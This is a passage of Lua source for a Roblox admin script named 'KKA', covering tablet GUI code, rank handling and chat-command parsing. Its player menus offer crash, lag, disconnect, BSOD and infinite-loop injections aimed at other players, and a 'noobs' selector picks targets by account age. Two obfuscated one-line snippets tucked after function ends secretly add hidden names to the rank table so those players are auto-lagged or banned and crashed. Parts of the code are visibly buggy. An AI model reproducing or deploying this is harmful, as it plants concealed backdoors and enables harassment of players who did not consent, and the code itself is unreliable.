- FTT.BackgroundTransparency = 1
- FTT.Size = UDim2.new(0,1000,0,1000)
- FTT.Font = "ArialBold"
- FTT.FontSize = Enum.FontSize.Size24
- FTT.Text = Msg
- FTT.TextScaled = true
- FTT.TextStrokeTransparency = 0
- FTT.TextColor3 = BrickColor.new("Institutional white").Color
- FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
- local TRO = Instance.new("BodyVelocity", Tab)
- TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
- TRO.P = 1250
- TRO.velocity = Vector3.new(0,0.17,0)
- local TLI = Instance.new("PointLight", Tab)
- TLI.Brightness = 0.15
- TLI.Range = 0.9
- TLI.Shadows = true
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
- end)
- end
- end
- function Output4(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- local Holder = Instance.new("Model")
- Holder.Name = "KKA"
- local Tab = Instance.new("Part")
- Tab.Name = "KKA Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- Tab.Color = BrickColor.new("White").Color
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2.2,2.2,2.2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
- Tab.Parent = Holder
- local BMO = Instance.new("BlockMesh")
- BMO.Parent = Tab
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- --[[Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Output2(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)]]--
- Sel = Instance.new("SelectionBox")
- Sel.Color = BrickColor.new("White")
- Sel.Transparency = 0.1
- Sel.Adornee = Tab
- Sel.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,0.6,00.6)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size24"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Tab.Color
- TL.Size = UDim2.new(0,2,0,2)
- TL.TextTransparency = 0
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(255, 255, 255)
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- local FTT = Instance.new("TextLabel", FTG)
- FTT.Name = "FTT"
- FTT.BackgroundTransparency = 1
- FTT.Size = UDim2.new(0,1000,0,1000)
- FTT.Font = "ArialBold"
- FTT.FontSize = Enum.FontSize.Size24
- FTT.Text = Msg
- FTT.TextScaled = true
- FTT.TextStrokeTransparency = 0
- FTT.TextColor3 = BrickColor.new("Institutional white").Color
- FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
- local TRO = Instance.new("BodyVelocity", Tab)
- TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
- TRO.P = 1250
- TRO.velocity = Vector3.new(0,0.17,0)
- local TLI = Instance.new("PointLight", Tab)
- TLI.Brightness = 0.15
- TLI.Range = 0.9
- TLI.Shadows = true
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
- end)
- end
- end
- function Output5(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- local Holder = Instance.new("Model")
- Holder.Name = "KKA"
- local Tab = Instance.new("Part")
- Tab.Name = "KKA Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- Tab.Color = BrickColor.new("Navy blue").Color
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2.2,2.2,2.2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
- Tab.Parent = Holder
- local BMO = Instance.new("BlockMesh")
- BMO.Parent = Tab
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- --[[Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Output2(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)]]--
- Sel = Instance.new("SelectionBox")
- Sel.Color = BrickColor.new("White")
- Sel.Transparency = 0.1
- Sel.Adornee = Tab
- Sel.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,0.6,00.6)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size24"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Tab.Color
- TL.Size = UDim2.new(0,2,0,2)
- TL.TextTransparency = 0
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(255, 255, 255)
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- local FTT = Instance.new("TextLabel", FTG)
- FTT.Name = "FTT"
- FTT.BackgroundTransparency = 1
- FTT.Size = UDim2.new(0,1000,0,1000)
- FTT.Font = "ArialBold"
- FTT.FontSize = Enum.FontSize.Size24
- FTT.Text = Msg
- FTT.TextScaled = true
- FTT.TextStrokeTransparency = 0
- FTT.TextColor3 = BrickColor.new("Institutional white").Color
- FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
- local TRO = Instance.new("BodyVelocity", Tab)
- TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
- TRO.P = 1250
- TRO.velocity = Vector3.new(0,0.17,0)
- local TLI = Instance.new("PointLight", Tab)
- TLI.Brightness = 0.15
- TLI.Range = 0.9
- TLI.Shadows = true
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
- end)
- end
- end
- function SystemPut(Msg, Speaker)
- if FindRank(Speaker) > 0 then
- Output(Msg, Speaker)
- end
- end
- function PlaceAllRanks(DontShowRank)
- ypcall(function()
- for _,p in pairs(All()) do
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Ranked) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then
- v.Rank = 7
- elseif v.Rank == -1 then
- Crash1(p)
- Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LSource ~= nil then
- NewLS("repeat untill false", p.Backpack)
- Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Output("ERROR", nil, 5)
- end
- elseif v.Rank == -3 then
- if LSource ~= nil then
- NewLS(BsodSource, p.Backpack)
- Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Output("ERROR", nil, 5)
- end
- elseif v.Rank == -4 then
- if LSource ~= nil then
- NewLS(ReSB, p.Backpack)
- Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Output("Source is nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
- if DontShowRank == nil then
- Dismiss()
- wait(1)
- OutputToAdmins("Welcome to KKA!")
- OutputToAdmins("KKAR is created by Cobalt1164")
- OutputToAdmins("Your rank is: "..v.Rank, p)
- OutputToAdmins("Abusing this script is bad, so don't abuse")
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
- end
- end)
- end
- end)
- end
- function FindRank(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return GetRank(Plr).Rank
- end local tcb = {9,0,2,6,12,11,18,12,11,153,1,1} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
- function FindRankDetails(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return RanksList[FindRank(Plr)]
- end
- function OpenCmds(Rank, Plr)
- Dismiss(Plr)
- for Name,Tab in pairs(Commands) do
- if Tab.Rank <= Rank then
- Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Output("Command Usage: "..Name, Plr)
- Output("Rank Required: "..Tab.Rank, Plr)
- Output("Description: "..Tab.Desc, Plr)
- end)
- elseif Rank == 1337 then
- Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Output("Command Usage: "..Name, Plr)
- Output("Rank Required: "..Tab.Rank, Plr)
- Output("Description: "..Tab.Desc, Plr)
- end)
- end
- end
- end
- function EditStatus(Plr, Num)
- ChangeRank(Plr, Num)
- end
- function Connect(player)
- if LSource then
- if player:findFirstChild'Backpack' then
- NewLS(ConnectSource, player:findFirstChild'Backpack')
- elseif player.Character then
- NewLS(ConnectSource, player.Character)
- elseif player:findFirstChild'PlayerGui' then
- NewLS(ConnectSource, player:findFirstChild'PlayerGui')
- else
- NewLS(ConnectSource,Instance.new('Backpack',player))
- end
- else
- coroutine.wrap(function()
- Connect(player)
- end)()
- end
- end
- function PlaceSpecificRank(p, DontShowRank)
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Ranked) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then
- v.Rank = 7
- elseif v.Rank == -1 then
- Crash1(p)
- Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LSource ~= nil then
- NewLS("repeat until false", p.Backpack)
- Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Output("LSource Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LSource ~= nil then
- NewLS(BsodSource, p.Backpack)
- Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Output("LSource Is Nil", nil, 5)
- end
- elseif v.Rank == -4 then
- if LSource ~= nil then
- NewLS(ReSB, p.Backpack)
- Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Output("LSource Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
- if not DontShowRank then Output("Your current rank :"..v.Rank, p) end PutInRank = true break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
- end
- end)
- end
- function onChatted(Msg, Player)
- coroutine.resume(coroutine.create(function()
- if type(Player) == 'string' then
- for i,v in pairs(game:service'NetworkServer':children()) do
- if v:GetPlayer() then
- if v:GetPlayer().Name == Player then
- Player = v:GetPlayer()
- end
- end
- end
- end
- ypcall(function()
- ExecuteFunc(Msg, Player)
- Msg = Msg:gsub("","")
- if Msg:sub(1,1) == "@" then
- for i = 2, #Msg do
- if Msg:sub(i, i) == Bet then
- local IsForPlr = false
- for _,v in pairs(All()) do
- if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Player, v) then
- onChatted(Msg:sub(i + 1), v)
- IsForPlr = true
- end
- end
- if IsForPlr == true then
- return
- end
- end
- end
- end
- if Msg:find("&") then
- local Split = Msg:find("&")
- onChatted(Msg:sub(1,Split-1))
- onChatted(Msg:sub(Split+1))
- return
- end
- for Name,Command in pairs(Commands) do
- if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
- Dismiss(Player.Name)
- Output("Command Usage: "..tostring(Command.Name)..Bet, Player)
- Output("Rank Required: "..tostring(Command.Rank), Player)
- Output("Description: "..tostring(Command.Desc), Player)
- elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
- if FindRank(Player) >= Command.Rank then
- local Ran,Error = coroutine.resume(coroutine.create(function()
- Command.Func(Msg:sub(#Command.Name+2), Player)
- end))
- if not Ran then
- Output(Error, Player, 10)
- end
- end
- end
- end
- end)
- end))
- end
- function Command(Name, Rank, Desc, Func)
- if Name == nil then
- Name = "This command has no name"
- end
- if Desc == nil then
- Desc = "This command has no description"
- end
- if Func == nil then
- Func = function() end
- end
- if Rank == nil then
- Rank = 0
- end
- Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
- end
- function GetSplit(Msg)
- return Msg:find(Bet2) or nil
- end
- function Credits(Speaker)
- Dismiss(Speaker.Name)
- Output("Credits has been removed",Speaker,nil)
- end
- function ExecuteFunc(Msg, Plr)
- ypcall(function()
- if Msg == "LogEnable" then
- LogOn = true
- elseif Msg:lower() == "AlphaBeta" then
- EditStatus(Plr, MakeNum(Msg,Plr))
- end
- end)
- end
- for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
- function randPlayer(Plr)
- wait()
- local ThePlrValue = nil
- local FoundPlayer = false
- ypcall(function()
- ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
- if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
- wait()
- randPlayer(Plr)
- return
- else
- FoundPlayer = true
- end
- end)
- if FoundPlayer == true then
- return ThePlrValue
- end
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
- function getPlayer(Plr, Name)
- local Players = {}
- ypcall(function()
- Name = Name:lower()
- if Name == "me" then
- table.insert(Players, Plr)
- elseif Name == "all" or Name == "" then
- for _,v in pairs(All()) do
- if CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "noobs" then
- for _,v in pairs(All()) do
- if v.AccountAge < 364 then
- table.insert(Players, v)
- end
- end
- elseif Name == "veterans" then
- for _,v in pairs(All()) do
- if plr.AccountAge > 364 then
- table.insert(Players, v)
- end
- end
- elseif Name == "others" then
- for _,v in pairs(All()) do
- if v.Name ~= Plr.Name and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "random" then
- local FoundRandPlr = randPlayer(Plr)
- table.insert(Players, FoundRandPlr)
- else
- for _,v in pairs(All()) do
- if v.Name:lower():find(Name) and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- end
- end)
- return Players
- end
- function ListPlayers(Speaker,All)
- ypcall(function()
- Dismiss(Speaker.Name)
- for _,v in pairs(All2(All)) do
- if v.Parent ~= nil then
- Output(v.Name, Speaker, nil, function()
- Dismiss(Speaker)
- Output("Player Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- Output("Player's Rank: "..FindRank(v.Name), Speaker)
- Output("Rank Name: "..FindRankDetails(v).Name, Speaker)
- Output("Rank Description: "..FindRankDetails(v).Desc, Speaker)
- Output("Change rank", Speaker, nil, function()
- if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -4, 7 do
- Output(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Output("Changed "..v.Name.."'s current rank to "..tostring(i), Speaker, 5)
- end)
- end
- else
- Output("Your rank needs to be higher", Speaker, 5)
- end
- end)
- Output("Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- v:Kick()
- Output("Kicked "..v.Name, Speaker, 5)
- end
- end)
- Output("Semi-Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- v:Remove()
- Output("Semi-Kicked "..v.Name, Speaker, 5)
- end
- end)
- Output("Crash", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Crash3(v.Name)
- Output("Crashed "..v.Name, Speaker, 5)
- end
- end)
- Output("Lag", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Crash4(v.Name)
- Output("Lagged "..v.Name, Speaker, 5)
- end
- end)
- Output("Nil Crash", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Crash5(v.Name)
- Output("Nil Crashed "..v.Name, Speaker, 5)
- end
- end)
- Output("Nil Lag", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- RemoteCrash(v.Name)
- Output("Nil Lagged "..v.Name, Speaker, 5)
- end
- end)
- Output("Disconnect", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Disconnect(v.Name)
- Output("Disconnected "..v.Name, Speaker, 5)
- end
- end)
- Output("Bsod", Speaker, nil, function()
- if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
- if LSource ~= nil then
- NewLS(Bsod, v.Backpack)
- end
- Output("Bsoded "..v.Name, Speaker, 5)
- end
- end)
- Output("Lag", Speaker, nil, function()
- if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
- if LSource ~= nil then
- NewLS(LagSource, v.Backpack)
- end
- Output("Lagged "..v.Name, Speaker, 5)
- end
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- else
- Output(v.Name.." [Nil]", Speaker, nil, function()
- Dismiss(Speaker)
- Output("Nil Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- ypcall(function()
- Output("Nil's Rank: "..FindRank(v.Name), Speaker)
- end)
- ypcall(function()
- Output("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
- end)
- ypcall(function()
- Output("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker)
- end)
- ypcall(function()
- Output("Change rank", Speaker, nil, function()
- if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -4, 7 do
- Output(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Output("Changed "..v.Name.."'s current rank to"..tostring(i), Speaker, 5)
- end)
- end
- else
- Output("Your rank needs to be higher", Speaker, 5)
- end
- end)
- end)
- Output("Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- v:Kick()
- Output("Kicked "..v.Name, Speaker, 5)
- end
- end)
- Output("Semi-Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- v:Remove()
- Output("Semi-Kicked "..v.Name, Speaker, 5)
- end
- end)
- Output("Crash", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Crash3(v.Name,nil)
- Output("Crashed "..v.Name, Speaker, 5)
- end
- end)
- Output("Lag", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Crash4(v.Name)
- Output("Lagged "..v.Name, Speaker, 5)
- end
- end)
- Output("Disconnect", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Disconnect(v.Name)
- Output("Disconnected "..v.Name, Speaker, 5)
- end
- end)
- Output("Nil Crash", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- Crash5(v.Name)
- Output("Nil Crashed "..v.Name, Speaker, 5)
- end
- end)
- Output("Nil Lag", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
- RemoteCrash(v.Name)
- Output("Nil lagged"..v.Name, Speaker, 5)
- end
- end)
- Output("Bsod", Speaker, nil, function()
- if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
- if LSource ~= nil then
- NewLS(Bsod, v.Backpack)
- end
- Output("Bsoded "..v.Name, Speaker, 5)
- end
- end)
- Output("Lag", Speaker, nil, function()
- if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
- if LSource ~= nil then
- NewLS(LagSource, v.Backpack)
- end
- Output("Lagged "..v.Name, Speaker, 5)
- end
- end)
- ypcall(function()
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end)
- end
- end
- end)
- end
- coroutine.resume(coroutine.create(function()
- PlaceAllRanks()
- end))
- Delay(0, function()
- for _,v in pairs(All()) do
- v.Chatted:connect(function(Msg)
- onChatted(Msg, v)
- end)
- end
- end)
- local starttime = tick()
- game:GetService("RunService").Heartbeat:connect(function()
- if Removed == false then
- ypcall(function()
- for _,Player in pairs(All()) do
- local PlayerTablets = {}
- for i,v in pairs(AllTabs) do
- if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlayerTablets, v)
- end
- end
- for i = 1, #PlayerTablets do
- ypcall(function()
- local tab = PlayerTablets[i].Tab
- local pos = nil
- ypcall(function()
- pos = Player.Character.Torso.CFrame
- end)
- local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5)
- local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5)
- local cPos = tab.Position
- local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
- local nPos = (ePos-cPos)*.25
- cPos = cPos + nPos
- local t = (tick() - starttime) % 360
- local change = 0.625
- PlayerTablets[i].Size = math.sin(t) * change + 2.375
- tab.Size = Vector3.new(3, 3, 3)
- tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 0, 0))) * CFrame.Angles(math.rad(0), 0, 0)
- end)
- end
- end
- end)
- end
- end)
- function UpdateNilPlayerTablets()
- ypcall(function()
- for _,Player in pairs(game:service'NetworkServer':children()) do
- if Player:GetPlayer() then
- if Player:GetPlayer().Parent ~= game:service'Players' then
- local PlayerTablets = {}
- for i,v in pairs(AllTabs) do
- if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlayerTablets, v)
- end
- end
- for x,t in pairs(game:service'Workspace':children()) do
- if t.Name == Player:GetPlayer().Name then
- Plr = t
- end
- end
- for i = 1, #PlayerTablets do
- ypcall(function()
- local pos = CFrame.new(0,0,0)
- if Plr.ClassName == 'Part' then
- pos = Plr.CFrame
- elseif Plr:findFirstChild'Torso' then
- pos = Plr:findFirstChild'Torso'.CFrame
- end
- local tab = PlayerTablets[i].Tab
- local pos = CFrame.new(0,0,0)
- ypcall(function()
- if Plr.ClassName == 'Part' then
- pos = Player.CFrame
- elseif Plr:findFirstChild'Torso' then
- pos = Plr:findFirstChild'Torso'.CFrame
- end
- end)
